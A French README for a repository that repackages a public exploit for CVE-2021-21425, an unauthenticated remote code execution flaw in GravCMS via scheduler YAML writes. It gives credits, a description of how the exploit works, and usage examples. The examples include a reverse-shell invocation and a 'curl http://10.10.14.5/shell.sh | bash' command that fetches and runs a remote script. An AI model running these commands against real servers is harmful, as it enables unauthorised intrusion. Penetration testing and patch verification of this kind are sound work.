CVE-2021-21425 - RCE non authentifiée dans GravCMS

Preuve de concept améliorée pour CVE-2021-21425, une vulnérabilité d'exécution de code à distance non authentifiée dans GravCMS <= 1.10.7 via l'écriture arbitraire de YAML dans le planificateur.

Crédits

Ceci est un travail dérivé. La vulnérabilité et l'exploit original ne sont pas les miens.

Rôle	Qui
Vulnérabilité découverte par	Mehmet Ince (@mdisec), PRODAFT / INVICTUS Europe — Mars 2021
PoC original par	"legend" — Exploit-DB EDB-49973
Modifications dans ce dépôt par	d4ytox

Ce que cette version change

L'EDB-49973 original nécessite de modifier manuellement des valeurs codées en dur dans le script. Cette version ajoute :

• Des arguments en ligne de commande pour la cible, LHOST, LPORT
• L'encodage base64 automatique de la charge utile du reverse shell
• La prise en charge de commandes personnalisées (-c)
• La gestion des erreurs et l'affichage de l'état

Ce sont des changements d'ergonomie apportés à un exploit existant. Aucune recherche sur la vulnérabilité n'est revendiquée.

Vulnérabilité

Champ	Valeur
CVE	CVE-2021-21425
EDB-ID	49973
Affecté	GravCMS <= 1.10.7
Type	RCE non authentifiée
CVSS	9.8 (Critique)

Le plugin Grav Admin ne vérifie pas l'authentification sur certaines routes d'administration, ce qui permet à des utilisateurs non authentifiés d'écrire une configuration YAML arbitraire. Cet exploit abuse de la configuration du planificateur pour créer une tâche cron qui exécute du code PHP arbitraire.

Utilisation

# Reverse shell
python3 exploit.py -t http://target -s <LHOST> <LPORT>

# Commande personnalisée
python3 exploit.py -t http://target -c "id"

Exemples

# Obtenir un reverse shell sur la cible
python3 exploit.py -t http://10.10.10.5 -s 10.10.14.5 4444

# Exécuter une commande
python3 exploit.py -t http://grav.local:8080 -c "curl http://10.10.14.5/shell.sh | bash"

Prérequis

pip install requests

Fonctionnement

1. Récupère /admin pour extraire le jeton admin-nonce (aucune authentification requise en raison de la vulnérabilité)
2. Envoie un POST à /admin/config/scheduler avec une configuration de tâche cron malveillante
3. Le planificateur exécute la charge utile PHP via /usr/bin/php -r eval(base64_decode(...))
4. PHP écrit le reverse shell décodé en base64 dans /tmp/rev.sh et l'exécute

La tâche cron s'exécute chaque minute (* * * * *), donc le shell arrive en moins de 60 secondes.

Chronologie

• 2021-03-18 - Vulnérabilité découverte par Mehmet Ince lors d'un test d'intrusion
• 2021-03-29 - Divulguée
• 2021-04-01 - Corrigée dans Grav Admin Plugin 1.10.8

Références

• Entrée NVD
• Avis de sécurité GitHub GHSA-6f53-6qgv-39pj
• Article original de Mehmet Ince (Pentest Blog)
• PoC original - Exploit-DB EDB-49973

Licence

MIT, s'appliquant uniquement aux modifications de ce dépôt. Le PoC amont ne porte aucune licence, il reste donc tous droits réservés par son auteur. Voir LICENSE pour l'avis d'attribution complet.

Avertissement

Pour les tests de sécurité autorisés uniquement. Assurez-vous d'avoir une autorisation écrite avant de tester contre tout système.